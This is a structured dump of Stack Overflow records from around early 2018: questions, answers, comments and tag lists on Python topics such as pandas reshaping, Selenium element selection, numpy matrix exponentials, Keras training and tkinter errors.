linked to: http://stackoverflow.com/q/49426387
type: UnansweredQuestion
tagged with: python
has body: I have to deal with a table like this : Axe Wood Red Hammer Iron Black Nail Metal Black 3 Products Listed How can I select all td elements which have the attribute data-sortable-id? I can't find anything in Google search about finding elements by attribute (without a value, attribute's own name only). I've tried something like x = webdriver.find_elements_by_xpath("//td[@data-sortable-id]") print(len(x)) but the result is 0.
upvote count: 4
score: 4
has comment: http://stackoverflow.com/comment/85886599
has comment: http://stackoverflow.com/comment/85886235
downvote count: 0
tagged with: selenium
tagged with: expected-condition
has answer: http://stackoverflow.com/a/49445409
answer count: 1
has comment: http://stackoverflow.com/comment/85886493
tagged with: webdriver
favorite count: 0
has title: Find Elements by their Attribute in Python Selenium WebDriver
has comment: http://stackoverflow.com/comment/85886135
has comment: http://stackoverflow.com/comment/85886465

http://stackoverflow.com/comment/85988313
has text: @ShashankSharma Yes you're right, if you have a lot of attribute to filter, this solution is not viable. However, since [querysets are lazy](https://docs.djangoproject.com/en/2.0/topics/db/queries/#querysets-are-lazy), you can filter a few attributes without bad database performances.
type: Comment
comment on: http://stackoverflow.com/a/49452196
score: 0
type: AnswerComment

http://stackoverflow.com/a/49461733
accepted answer of: http://stackoverflow.com/q/49461694
upvote count: 3
answers question: http://stackoverflow.com/q/49461694
downvote count: 0
type: AcceptedAnswer
has body: Declare the label and it's grid separately Sign = Label() Sign.grid() See the type of Label(). grid () It is None because grid method returns none and you assign it to sign. So, sign = none And none has no attribute called config. That's why the error occurs Also remove master, from the def tryout(): section or else there will be a '_tkinter.TclError: unknown option' error. Thanks, C Vith, for debugging the code (Also remove ..... error) Suggested by C Vith
score: 3
type: Answer

http://stackoverflow.com/comment/86000448
has text: If you update matplotlib to version 2.2, the xlabels will be in the order they occur in the dataframe (and of course you may sort your dataframe prior to plotting to achieve any order you like).
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49498106

http://stackoverflow.com/q/49556940
answer count: 1
duplicate of: http://stackoverflow.com/q/47152691
has comment: http://stackoverflow.com/comment/86121514
has body: I have a dataframe which is similar to: grades=pd.DataFrame(columns=["person","course_code","grade"],data=[[1,101,2.0],[2,102,1.0],[3,103,3.0],[2,104,4.0],[1,102,5.0],[3,104,2.5],[2,101,1.0]]) On each row is the grade of a certain student in certain subject. And want to convert it to another that looks like this: students=pd.DataFrame(columns=[101,102,103,104],data [[2.0,5.0,"NaN","NaN"],[1.0,1.0,"Nan",4.0],["Nan","Nan",3.0,2.5]]) On each row is a student (codex of the row) with the different grades obtained in every subject (every column is a different subject). I have tried doing this: for subj in grades["COURSE_CODE"].unique(): grades_subj=grades[grades["COURSE_CODE"]==subj] grades_subj = grades_subj.set_index("EXPEDIENT_CODE", drop = True) for st in grades["EXPEDIENT_CODE"].unique(): grade_num=grades_subj.loc[st]["GRADE"] student.loc[st][subj]=grade_num But I get: KeyError: 'the label [304208] is not in the [index]' I have tried other ways too and get always errors... Can someone help me, please?
type: Question
has answer: http://stackoverflow.com/a/49556996
linked to: http://stackoverflow.com/q/47152691
type: UnansweredQuestion
has title: Lookup in a pandas Dataframe
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/86122462
score: 0
tagged with: pandas

http://stackoverflow.com/comment/86009917
type: Comment
type: AnswerComment
has text: Honestly, the headers you made followed by a function cleared everything up so well. I can learn so much just from that part. I can tell you are an amazing software engineer. Thank you!
score: 1
comment on: http://stackoverflow.com/a/49502850

http://stackoverflow.com/comment/86182291
comment on: http://stackoverflow.com/q/49583466
has text: I managed to get an approximation using a wider network and reducing the batch size while increasing the epochs, with the sigmoid. I just tried the same configuration but with relu and it doesn't work at all. What do you suggess for the activation?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86083311
type: AnswerComment
has text: Well ." import urllib.request " , " urllib.request.urlretrieve("http://...")" works in Python 3.x . @py-D
comment on: http://stackoverflow.com/a/49537635
score: 0
type: Comment

http://stackoverflow.com/q/49589007
answer count: 0
type: UnansweredQuestion
upvote count: 1
linked to: http://stackoverflow.com/q/5466451
has comment: http://stackoverflow.com/comment/86185714
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86185798
has comment: http://stackoverflow.com/comment/86185788
duplicate of: http://stackoverflow.com/q/5466451
has comment: http://stackoverflow.com/comment/86185820
has comment: http://stackoverflow.com/comment/86185744
tagged with: python
has title: Escaping a single curly brace when formatting a Python string
score: 0
has body: Is it possible in Python to have a single, unmatched curly brace in a format string? I know that I can use double matched braces to print a single matched brace but I can't express just a single brace without my intent being ambiguous. '{{}} {}'.format(42) # Yields '{} 42' - this is not what I'm asking about '{ %d' % 42 # Yields '{ 42' - this is what I want, but with the format syntax '{{} {}'.format(42) # Not valid because the braces are unmatched '\{ {}'.format(42) # Not valid because escaped brace characters are not supported I fear that this ability does not exist in Python, but I would like confirmation. I suspect I will have to resort to using a different type of formater (the % syntax) or string concatenation.
has comment: http://stackoverflow.com/comment/86185755

http://stackoverflow.com/comment/86193790
comment on: http://stackoverflow.com/q/49592890
score: 0
has text: Consider using text for the xml example so we can copy/paste and try it out.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86169172
type: Comment
has text: @D.W. Sure, I'll try to remember about that, thanks :)
comment on: http://stackoverflow.com/q/49542914
score: 0
type: QuestionComment

http://stackoverflow.com/a/49583002
has comment: http://stackoverflow.com/comment/89465568
upvote count: 5
type: Answer
answers question: http://stackoverflow.com/q/49530410
type: AcceptedAnswer
downvote count: 0
has body: Depending on the size and structure of your matrices you can do better than loop. Assuming your matrices can be diagonalized as A = V D V^(-1) (where D has the eigenvalues in its diagonal and V contains the corresponding eigenvectors as columns), you can compute the matrix exponential as exp(A) = V exp(D) V^(-1) where exp(D) simply contains exp(lambda) for each eigenvalue lambda in its diagonal. This is really easy to prove if we use the power series definition of the exponential function. If the matrix A is furthermore normal, the matrix V is unitary and thus its inverse can be computed by simply taking its adjoint. The good news is that numpy.linalg.eig and numpy.linalg.inv both work with stacked matrices just fine: import numpy as np import scipy.linalg A = np.random.rand(1000,10,10) def loopy_expm(A): expmA = np.zeros_like(A) for n in range(A.shape[0]): expmA[n,...] = scipy.linalg.expm(A[n,...]) return expmA def eigy_expm(A): vals,vects = np.linalg.eig(A) return np.einsum('...ik, ...k, ...kj -&gt; ...ij', vects,np.exp(vals),np.linalg.inv(vects)) Note that there's probably some room for optimization in specifying the order of operations in the call to einsum, but I didn't investigate that. Testing the above for the random array: In [59]: np.allclose(loopy_expm(A),eigy_expm(A)) Out[59]: True In [60]: %timeit loopy_expm(A) 824 ms ± 55.7 ms per loop (mean ± std. dev. of 7 runs, 1 loop each) In [61]: %timeit eigy_expm(A) 138 ms ± 992 µs per loop (mean ± std. dev. of 7 runs, 10 loops each) That's already nice. If you're lucky enough that your matrices are all normal (say, because they are real symmetric): A = np.random.rand(1000,10,10) A = (A + A.transpose(0,2,1))/2 def eigy_expm_normal(A): vals,vects = np.linalg.eig(A) return np.einsum('...ik, ...k, ...jk -&gt; ...ij', vects,np.exp(vals),vects.conj()) Note the symmetric definition of the input matrix and the transpose inside the pattern of einsum. Results: In [80]: np.allclose(loopy_expm(A),eigy_expm_normal(A)) Out[8…
score: 5
accepted answer of: http://stackoverflow.com/q/49530410

http://stackoverflow.com/comment/86103661
comment on: http://stackoverflow.com/q/49548228
has text: Oh no... you're using the _old_ python... :(
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86199356
has text: What is in `app/__init__.py`?
score: 0
comment on: http://stackoverflow.com/q/49595999
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49595279
upvote count: 1
has comment: http://stackoverflow.com/comment/86198000
has comment: http://stackoverflow.com/comment/86198570
has comment: http://stackoverflow.com/comment/86198065
has body: I'll break the steps down. First, I rename Link to Node. class Node(object): def __init__(self, data, next=None): self.data = data self.next = next Links aren't the same as nodes - nodes are what hold your data, and links connect two nodes together. Next, the CircularList class, needs some changes. __init__ will need to initialise an empty list. That means no nodes at all. For the sake of convenience, I define self.last to greatly simplify the code (note, greatly, you will have a harder time of things otherwise). class CircularList(object): def __init__(self): self.first = self.last = None For insert_first, you will need to take care of a corner case when the list is empty, and the general case. Update self.first and self.last accordingly. def insert_first(self, item): if self.first is None: self.first = self.last = Node(item) self.first.next = self.first else: self.first = Node(item, self.first) self.last.next = self.first Your __iter__ method should also respond in kind. Comments inlined. def __iter__(self): # corner case - yield empty list if not self.first: yield [] else: # start by yielding the head node yield self.first cur = self.first.next # iterate as long as you do not see the head node again while cur is not self.first: yield cur cur = cur.next The other methods remain the same. Test code: a = CircularList() for i in [5, 4, 3, 2, 1]: a.insert_first(i) print(a) [1, 2, 3, 4, 5] Full Code Listing class Node(object): def __init__(self, data, next=None): self.data = data self.next = next class CircularList(object): def __init__(self): self.first = self.last = None def insert_first(self, item): if self.first is None: self.first = self.last = Node(item) self.first.next = self.first else: self.first = Node(item, self.first) self.last.next = self.first def __iter__(self): if not self.first: yield [] else: yield self.first cur = self.first.next while cur is not self.first: yield cur cur = cur.next def __str__(self): return str([Link.data for Link in self]) def __re…
score: 1
has comment: http://stackoverflow.com/comment/86198626
type: Answer
accepted answer of: http://stackoverflow.com/q/49595144
answers question: http://stackoverflow.com/q/49595144
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86198611

http://stackoverflow.com/q/49546217
duplicate of: http://stackoverflow.com/q/44034627
favorite count: 0
type: Question
has body: Here is the sample data: ID Month Year 1 10 2017 1 11 2017 1 12 2017 1 1 2018 2 10 2017 2 11 2017 2 12 2017 2 1 2018 I'd like to transform this into: ID Month Year number 1 10 2017 1 1 11 2017 2 1 12 2017 3 1 1 2018 4 2 10 2017 1 2 11 2017 2 2 12 2017 3 2 1 2018 4 What is the best way of going about doing this?
linked to: http://stackoverflow.com/q/44034627
tagged with: python
score: -1
type: AnsweredQuestion
upvote count: 0
tagged with: pandas
has title: Attempting to number the month and year combination (1,2,3..) for each ID
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/49546238
accepted answer: http://stackoverflow.com/a/49546238

http://stackoverflow.com/q/49467514
has comment: http://stackoverflow.com/comment/85937655
has title: Nested loop doesn't re-iterate
favorite count: 0
has body: As a means to work on my python, I am trying to create an algorithm that solves word ladder puzzles - see here for more info on how these work You can download the csv containing an english dictionary from here. This is where I have reached with the code: import pandas as pd alphabet = {0:'a', 1:'b', 2:'c', 3:'d', 4:'e', 5:'f', 6:'7', 7:'h', 8:'i', 9:'j', 10:'k', 11:'l', 12:'m', 13:'n', 14:'o', 15:'p', 16:'q', 17:'r', 18:'s', 19:'t', 20:'u', 21:'v', 22:'w', 23:'x', 24:'y', 25:'z'} english = pd.read_csv('english.csv') temp = [0, 1, 4, 19] temp_alpha = ['a', 'b', 'e', 't'] target = tuple([2, 0, 18, 4]) original = tuple(temp) solution = [] #loop to find solution starts here: #builds in dictionary and false matches if len(original) != len(target): print('Error: arguments must be same length') elif len(original) == len(target): print('Here is your solution') while original != target: for i, v in enumerate(original): temp[i] = target[i] for j, k in enumerate(temp): temp_alpha[j] = alphabet[k] temp_alpha = ''.join(temp_alpha) for item in english.itertuples(): print(item) #to help diagnose errors while temp_alpha &lt; item[1]: if temp_alpha in item[1]: solution = temp_alpha else: temp[i] = original[i] The code does great on the first letter, but, rather than go back to the second letter, it breaks at the end after iterating through the pd dataframe containing the english dictionary. Why is this happening?
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85937547
tagged with: python
has comment: http://stackoverflow.com/comment/85938398
has comment: http://stackoverflow.com/comment/85938261
score: 0
tagged with: for-loop
answer count: 0
tagged with: pandas
upvote count: 1
has comment: http://stackoverflow.com/comment/85938247
downvote count: 1
has comment: http://stackoverflow.com/comment/85938135

numpy
tags question: http://stackoverflow.com/q/49520989
tags question: http://stackoverflow.com/q/49513296
tags question: http://stackoverflow.com/q/49578174
tags question: http://stackoverflow.com/q/49513302
tags question: http://stackoverflow.com/q/49453600
tags question: http://stackoverflow.com/q/49445759
tags question: http://stackoverflow.com/q/49566474
tags question: http://stackoverflow.com/q/49455365
tags question: http://stackoverflow.com/q/49589110
tags question: http://stackoverflow.com/q/49566641
tags question: http://stackoverflow.com/q/49557809
tags question: http://stackoverflow.com/q/49594368
tags question: http://stackoverflow.com/q/49512411
tags question: http://stackoverflow.com/q/49575111
tags question: http://stackoverflow.com/q/49568041
tags question: http://stackoverflow.com/q/49501867
tags question: http://stackoverflow.com/q/49497295
tags question: http://stackoverflow.com/q/49532575
tags question: http://stackoverflow.com/q/49522800
tags question: http://stackoverflow.com/q/49560763
tags question: http://stackoverflow.com/q/49491498
tags question: http://stackoverflow.com/q/49441195
tags question: http://stackoverflow.com/q/49567623
tags question: http://stackoverflow.com/q/49575405
tags question: http://stackoverflow.com/q/49540508
tags question: http://stackoverflow.com/q/49513520
tags question: http://stackoverflow.com/q/49459985
tags question: http://stackoverflow.com/q/49451568
tags question: http://stackoverflow.com/q/49449011
tags question: http://stackoverflow.com/q/49513098
tags question: http://stackoverflow.com/q/49495344
tags question: http://stackoverflow.com/q/49485935
tags question: http://stackoverflow.com/q/49593015
tags question: http://stackoverflow.com/q/49447911
tags question: http://stackoverflow.com/q/49505026
tags question: http://stackoverflow.com/q/49579669
tags question: http://stackoverflow.com/q/49563010
tags question: http://stackoverflow.com/q/49455211
tags question: http://stackoverflow.com/q/49441872
tags question: http://stackoverflow.com/q/49579522
tags question: http://stackoverflow.com/q/49534882
tags question: http://stackoverflow.com/q/49534162
tags question: http://stackoverflow.com/q/49470213
tags question: http://stackoverflow.com/q/49489308
tags question: http://stackoverflow.com/q/49530088
tags question: http://stackoverflow.com/q/49594048
tags question: http://stackoverflow.com/q/49475770
tags question: http://stackoverflow.com/q/49558388
tags question: http://stackoverflow.com/q/49441151
tags question: http://stackoverflow.com/q/49470450
tags question: http://stackoverflow.com/q/49477822
tags question: http://stackoverflow.com/q/49502617
tags question: http://stackoverflow.com/q/49581292
tags question: http://stackoverflow.com/q/49495709
tags question: http://stackoverflow.com/q/49580259
tags question: http://stackoverflow.com/q/49573844
tags question: http://stackoverflow.com/q/49575741
tags question: http://stackoverflow.com/q/49465706
tags question: http://stackoverflow.com/q/49574805
tags question: http://stackoverflow.com/q/49511787
tags question: http://stackoverflow.com/q/49459303
tags question: http://stackoverflow.com/q/49594370
tags question: http://stackoverflow.com/q/49451834
tags question: http://stackoverflow.com/q/49542873
tags question: http://stackoverflow.com/q/49486166
tags question: http://stackoverflow.com/q/49479897
type: Tag
tags question: http://stackoverflow.com/q/49549266
tags question: http://stackoverflow.com/q/49511471
tags question: http://stackoverflow.com/q/49520906
tags question: http://stackoverflow.com/q/49459661
tags question: http://stackoverflow.com/q/49463985
tags question: http://stackoverflow.com/q/49574212
tags question: http://stackoverflow.com/q/49440167
tags question: http://stackoverflow.com/q/49542439
tags question: http://stackoverflow.com/q/49460725
tags question: http://stackoverflow.com/q/49554747
tags question: http://stackoverflow.com/q/49452316
tags question: http://stackoverflow.com/q/49541231
tags question: http://stackoverflow.com/q/49499658

kivy-language
tags question: http://stackoverflow.com/q/49461676
type: Tag
tags question: http://stackoverflow.com/q/49594923
tags question: http://stackoverflow.com/q/49455745
tag name: kivy-language
tags question: http://stackoverflow.com/q/49487672
tags question: http://stackoverflow.com/q/49443284

http://stackoverflow.com/comment/86083324
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49537687
has text: as a linguist that post is extremely interesting bookmarking for my train commute home! @Chrispresso

http://stackoverflow.com/a/49595364
type: Answer
has comment: http://stackoverflow.com/comment/86199243
answers question: http://stackoverflow.com/q/49591872
score: 2
has body: You need a mailcap package in your alpine container. Add the below to Dockerfile RUN apk add mailcap
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86199259
accepted answer of: http://stackoverflow.com/q/49591872

http://stackoverflow.com/comment/86737437
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49442085
score: 0
has text: i've found the solution..find_element_by_css_selector("tr[data-sortable-id]")

http://stackoverflow.com/comment/85889804
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49444137
score: 3
has text: Possible duplicate of [Serial import python](https://stackoverflow.com/questions/19728535/serial-import-python)

deep-learning
tags question: http://stackoverflow.com/q/49545926
tags question: http://stackoverflow.com/q/49501538
tags question: http://stackoverflow.com/q/49544495
tags question: http://stackoverflow.com/q/49560420
type: Tag
tags question: http://stackoverflow.com/q/49539273
tags question: http://stackoverflow.com/q/49584489
tags question: http://stackoverflow.com/q/49593985
tags question: http://stackoverflow.com/q/49483394
tags question: http://stackoverflow.com/q/49564318
tags question: http://stackoverflow.com/q/49591674
tags question: http://stackoverflow.com/q/49597672
tags question: http://stackoverflow.com/q/49445362
tags question: http://stackoverflow.com/q/49445349
tags question: http://stackoverflow.com/q/49510612
tags question: http://stackoverflow.com/q/49473288
tags question: http://stackoverflow.com/q/49468631
tags question: http://stackoverflow.com/q/49589088
tags question: http://stackoverflow.com/q/49525530
tags question: http://stackoverflow.com/q/49576814
tags question: http://stackoverflow.com/q/49471467
tags question: http://stackoverflow.com/q/49514284
tags question: http://stackoverflow.com/q/49558342
tags question: http://stackoverflow.com/q/49501181
tags question: http://stackoverflow.com/q/49449581
tags question: http://stackoverflow.com/q/49554650
tags question: http://stackoverflow.com/q/49528692
tags question: http://stackoverflow.com/q/49546922
tags question: http://stackoverflow.com/q/49535729
tags question: http://stackoverflow.com/q/49516497
tags question: http://stackoverflow.com/q/49534172
tags question: http://stackoverflow.com/q/49506194
tags question: http://stackoverflow.com/q/49473281
tags question: http://stackoverflow.com/q/49559498
tags question: http://stackoverflow.com/q/49533736
tag name: deep-learning
tags question: http://stackoverflow.com/q/49550767
tags question: http://stackoverflow.com/q/49497930
tags question: http://stackoverflow.com/q/49472938
tags question: http://stackoverflow.com/q/49458833
tags question: http://stackoverflow.com/q/49549364
tags question: http://stackoverflow.com/q/49443018
tags question: http://stackoverflow.com/q/49583466
tags question: http://stackoverflow.com/q/49533965
tags question: http://stackoverflow.com/q/49534421
tags question: http://stackoverflow.com/q/49496243
tags question: http://stackoverflow.com/q/49534693
tags question: http://stackoverflow.com/q/49458905

http://stackoverflow.com/a/49563359
type: Answer
accepted answer of: http://stackoverflow.com/q/49561611
has comment: http://stackoverflow.com/comment/86266634
has comment: http://stackoverflow.com/comment/86279437
answers question: http://stackoverflow.com/q/49561611
upvote count: 3
type: AcceptedAnswer
downvote count: 0
score: 3
has body: I have found, the easiest way to deal with these JS postbacks, is to wait for the element that is affected by the load to go stale or not be found. Here is an example function: def waitForElementRemoved(Element, WaitCount, WaitTime): ElementRemoved = False WaitTry = 0 while not ElementRemoved: try: if WaitTry &gt; WaitCount: raise Exception("Element not removed from page in alloted time") Test = Element.text WaitTry += 1 time.sleep(WaitTime) except (NoSuchElementException, StaleElementReferenceException): ElementRemoved = True And then I would pick an element that is affected by this postback load and pass it to the function along with some timing arguments. such as: driver = webdriver.Firefox() driver.get("https://www.avis.co.in") removedElement = driver.find_element_by_id("DrpCity") mySelect = Select(driver.find_element_by_id("DrpCity")) mySelect.select_by_visible_text("Pune") waitForElementRemoved(removedElement, 10, .5) WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, "//input[@id='txtPickUp']"))).send_keys("XYZ") I don't know if this is the best way to deal with JavaScript onchange load events, but in my case, it has been very effective. To add on to this answer: I have found that waiting until element goes stale does not always work when there are multiple load events, I have found that using that method along with using the below code works much more effectively to make sure these dynamic load events are complete: (I adapted the below code from HERE) # Wait for AJAX (Jquery or JS) dynamic page load events class DynamicLoadState: def __call__(self, driver): LoadComplete = False JQueryLoadComplete = False JSLoadComplete = False try: if driver.execute_script("return jQuery.active") == 0: JQueryLoadComplete = True except Exception: # JQuery is not present on page JQueryLoadComplete = True if driver.execute_script("return document.readyState") == 'complete': JSLoadComplete = True if JQueryLoadComplete and JSLoadComplete: LoadComplete = True re…

http://stackoverflow.com/comment/85992564
score: 8
has text: df.tail() adding () at the end
type: Comment
comment on: http://stackoverflow.com/q/49494417
type: QuestionComment

http://stackoverflow.com/comment/86085648
has text: Related: [Python - Remove any element from a list of strings that is a substring of another element](https://stackoverflow.com/questions/21720199/python-remove-any-element-from-a-list-of-strings-that-is-a-substring-of-anothe)
type: QuestionComment
comment on: http://stackoverflow.com/q/49538350
score: 0
type: Comment

pydub
tags question: http://stackoverflow.com/q/49527107
tag name: pydub
type: Tag
tags question: http://stackoverflow.com/q/49595923

http://stackoverflow.com/a/49566061
has comment: http://stackoverflow.com/comment/86141904
answers question: http://stackoverflow.com/q/49548625
type: Answer
accepted answer of: http://stackoverflow.com/q/49548625
score: 0
has comment: http://stackoverflow.com/comment/86141648
has body: It took a couple of hours to determine what the issue was, but it is working now. The issue is that I made a text file that had a list of card names that I was pulling from to create a random selection - the text file however included a trailing \n on each entry. Therefore it was creating a url with \n in it which was unnoticeable at the time and causing an error. I used rsplit() when creating the name list to remove the trailing \n and now it works perfectly.
type: AcceptedAnswer

http://stackoverflow.com/comment/85985714
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/49488989
has text: Everything you need is here https://developer.twitter.com/en/docs/tweets/search/api-reference/get-search-tweets.html. Specifically, you will want to use the `count` and `max_id` parameters. No, you cannot get all tweets unless you pay for the Premium API.
type: Comment

http://stackoverflow.com/q/49510612
score: 8
has comment: http://stackoverflow.com/comment/86025365
type: AnsweredQuestion
tagged with: deep-learning
has body: I would like to pass another training dataset (X_train, y_train) every N epochs in Keras, where (X_train, y_train) are obtained through Monte Carlo simulations. In pseudo-code, it would be done by: for i in range(nb_total_epochs): if i%N == 0: X_train, y_train = generate_new_dataset(simulation_parameters) train_model(X_train, y_train) Is there any existing trick to achieve this with the fit() function?
accepted answer: http://stackoverflow.com/a/49511212
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/49511212
tagged with: keras
has title: Change training dataset every N epochs in Keras
favorite count: 0
type: Question
upvote count: 8
tagged with: python

http://stackoverflow.com/a/49497616
type: Answer
answers question: http://stackoverflow.com/q/49497524
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49497524
has body: send_message() is a coroutine which means that you have to await it. It would look like: msg = await bot.send_message(destination=chan,embed=embed)

http://stackoverflow.com/comment/86039682
type: Comment
score: 0
type: QuestionComment
has text: You are right i just miss typed it(its reverse actually).
comment on: http://stackoverflow.com/q/49517050

linux
tags question: http://stackoverflow.com/q/49585479
tags question: http://stackoverflow.com/q/49485441
tags question: http://stackoverflow.com/q/49598780
tags question: http://stackoverflow.com/q/49551662
tags question: http://stackoverflow.com/q/49461887
tags question: http://stackoverflow.com/q/49500117
tags question: http://stackoverflow.com/q/49588073
tag name: linux
tags question: http://stackoverflow.com/q/49500388
tags question: http://stackoverflow.com/q/49568183
tags question: http://stackoverflow.com/q/49524023
tags question: http://stackoverflow.com/q/49501263
tags question: http://stackoverflow.com/q/49481048
tags question: http://stackoverflow.com/q/49511460
tags question: http://stackoverflow.com/q/49483695
tags question: http://stackoverflow.com/q/49448491
tags question: http://stackoverflow.com/q/49561198
tags question: http://stackoverflow.com/q/49499106
tags question: http://stackoverflow.com/q/49539615
tags question: http://stackoverflow.com/q/49533562
tags question: http://stackoverflow.com/q/49449642
tags question: http://stackoverflow.com/q/49592150
tags question: http://stackoverflow.com/q/49465171
type: Tag
tags question: http://stackoverflow.com/q/49518895
tags question: http://stackoverflow.com/q/49561381
tags question: http://stackoverflow.com/q/49527766
tags question: http://stackoverflow.com/q/49567291
tags question: http://stackoverflow.com/q/49524566
tags question: http://stackoverflow.com/q/49486699
tags question: http://stackoverflow.com/q/49554443
tags question: http://stackoverflow.com/q/49557919

http://stackoverflow.com/comment/85905971
type: QuestionComment
score: 2
has text: For the example shown, what you want is technically not an *empty* variable, but a variable initialized to the *identity* element for the operation you are going to use (which, in the case of string concatenation, is the empty string; but for multiplication, you would want to initialize the value to 1, for example).
comment on: http://stackoverflow.com/q/49451653
type: Comment

http://stackoverflow.com/a/49463742
type: Answer
score: 2
has body: The program should work if there is data in the array. Here is a slightly modified version of you code with sample data: import xlsxwriter workbook = xlsxwriter.Workbook('res.xlsx') worksheet = workbook.add_worksheet() data = [('apple', 60), ('cherry', 30), ('pecan', 10)] for row, (name, val) in enumerate(data): worksheet.write(row, 0, name) worksheet.write(row, 1, val) chart = workbook.add_chart({'type': 'pie'}) chart.add_series({'values': '=Sheet1!B1:B' + str(row + 1)}) worksheet.insert_chart('A5', chart) workbook.close() Output: However, you probably want to add a category as well like below. Note, this uses the alternative list syntax in add_series(): import xlsxwriter workbook = xlsxwriter.Workbook('res.xlsx') worksheet = workbook.add_worksheet() data = [('apple', 60), ('cherry', 30), ('pecan', 10)] for row, (name, val) in enumerate(data): worksheet.write(row, 0, name) worksheet.write(row, 1, val) chart = workbook.add_chart({'type': 'pie'}) chart.add_series({'categories': ['Sheet1', 0, 0, row, 0], 'values': ['Sheet1', 0, 1, row, 1]}) worksheet.insert_chart('A5', chart) workbook.close() Output:
has comment: http://stackoverflow.com/comment/85957915
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49458565
upvote count: 2
answers question: http://stackoverflow.com/q/49458565

http://stackoverflow.com/comment/86068385
has text: You may no need to return on your `fo2` function.
comment on: http://stackoverflow.com/q/49531003
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86136434
type: QuestionComment
score: 0
has text: When you run the program again, it starts over with a whole new empty namespace, and then you do `name_list = []` and that's your list. If you want to store information across separate runs, you need to explicitly save it to disk somewhere and then load it back at startup. There are many ways to do that—json, csv, pickle, dbm, redis, sqlite3—with different strengths and weaknesses.
comment on: http://stackoverflow.com/q/49564139
type: Comment

http://stackoverflow.com/q/49594055
tagged with: api
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/50098496
favorite count: 0
tagged with: piping
type: Question
has comment: http://stackoverflow.com/comment/87213374
has title: Use Python to parse JSON returned from Bash call, then package it to be sent to Twillio?
score: 1
tagged with: http://stackoverflow.com/tag/json
tagged with: python
has body: I love receiving a text message every morning from Chase Bank containing the balance of my checking account. I dove into my personal account settings to see if I could schedule a message to be sent to me with the other account balances on my account, only to realize that checking was the only account this was possible with. Using a library called mintapi (https://github.com/mrooney/mintapi), I was able to scrape the account data living in my Mint account. The goal is to send a text message through Twillio with the balance of every single account in my Mint account every single morning. $ mintapi [email: String] [password: String] --accounts Running the command above in your terminal returns the following object for each financial account I have in Mint: { "linkedAccountId": null, "addAccountDate": Int, "fiLoginDisplayName": Str, "dueDate": "12/27/2017", "isTerminal": true, "linkCreationTime": null, "isActive": true, "lastUpdated": Int, "rateType": 2, "fiName": Str, "origAmount": null, "klass": "loan", "accountTypeInt": 6, "id": 9856811, "fiLoginId": 3914975, "accountType": "loan", "currentBalance": Int, "fiLoginStatus": "OK", "origDate": "02/27/2020", "linkStatus": "NOT_LINKED", "accountId": Int, "yodleeAccountId": Int, "name": Str (Account Nickname), "status": "1", "accountName": Str (Account Name, e.g. Chase Checking), "ccAggrStatus": 0, "exclusionType": "0", "linkedAccount": null, "isHiddenFromPlanningTrends": true, "accountStatus": "1", "accountSystemStatus": "ACTIVE", "fiLastUpdated": Int, "yodleeAccountNumberLast4": "Int", "isError": false, "isAccountNotFound": false, "rate": null, "possibleLinkAccounts": [], "lastUpdatedInString": "12 hours", "currency": "USD", "term": 100, "isHostAccount": false, "value": Int (Confidential - Account Balance), "usageType": null, "interestRate": null, "isAccountClosedByMint": false, "userName": null, "yodleeName": Str, "closeDate": Int, "dueAmt": Int (Confidential - Amount due on next bill), "amountDue": 0.0, "isClosed": false…
answer count: 2
has answer: http://stackoverflow.com/a/49594651

http://stackoverflow.com/q/49442361
has answer: http://stackoverflow.com/a/49442425
possible better answer: http://stackoverflow.com/a/49442425
has answer: http://stackoverflow.com/a/49442380
accepted answer: http://stackoverflow.com/a/49442380
tagged with: python
has title: Pandas shift with MultiIndex not working
type: AnsweredQuestion
upvote count: 3
score: 3
answer count: 2
has body: Basically, when the column is a multi-index, pandas.DataFrame.shift does not work: Given these values and current set-up: idx = ['2018-03-14T06:15:39.000000000', '2018-03-14T06:16:15.000000000', '2018-03-14T06:16:50.000000000', '2018-03-14T06:17:47.000000000', '2018-03-14T06:18:46.000000000'] vals = [[9.15390039e+03, 9.99999978e-03, 1.64927383e+04, 4.00000000e+00, 1.00000000e+00, 0.00000000e+00, 9.15388965e+03, 9.99999978e-03, 1.64928926e+04, 0.00000000e+00, 0.00000000e+00, 1.00000000e+00, 9.15388965e+03], [9.15390039e+03, 9.99999978e-03, 1.64847031e+04, 9.00000000e+00, 1.00000000e+00, 0.00000000e+00, 9.15388965e+03, 9.99999978e-03, 1.64848359e+04, 3.00000000e+00, 0.00000000e+00, 1.00000000e+00, 9.15388965e+03], [9.15999023e+03, 9.99999978e-03, 1.64850938e+04, 7.00000000e+00, 0.00000000e+00, 1.00000000e+00, 9.16000000e+03, 9.99999978e-03, 1.64851660e+04, 2.00000000e+00, 1.00000000e+00, 0.00000000e+00, 9.16000000e+03], [9.16424023e+03, 9.99999978e-03, 1.64821777e+04, 2.20000000e+01, 0.00000000e+00, 1.00000000e+00, 9.16425000e+03, 9.99999978e-03, 1.64848125e+04, 2.30000000e+01, 1.00000000e+00, 0.00000000e+00, 9.16425000e+03], [9.16425000e+03, 9.99999978e-03, 1.64847891e+04, 1.00000000e+01, 1.00000000e+00, 0.00000000e+00, 9.16424023e+03, 9.99999978e-03, 1.64849219e+04, 1.20000000e+01, 0.00000000e+00, 1.00000000e+00, 9.16424023e+03]] cols = [('t_2', 'price'), ('t_2', 'spread'), ('t_2', 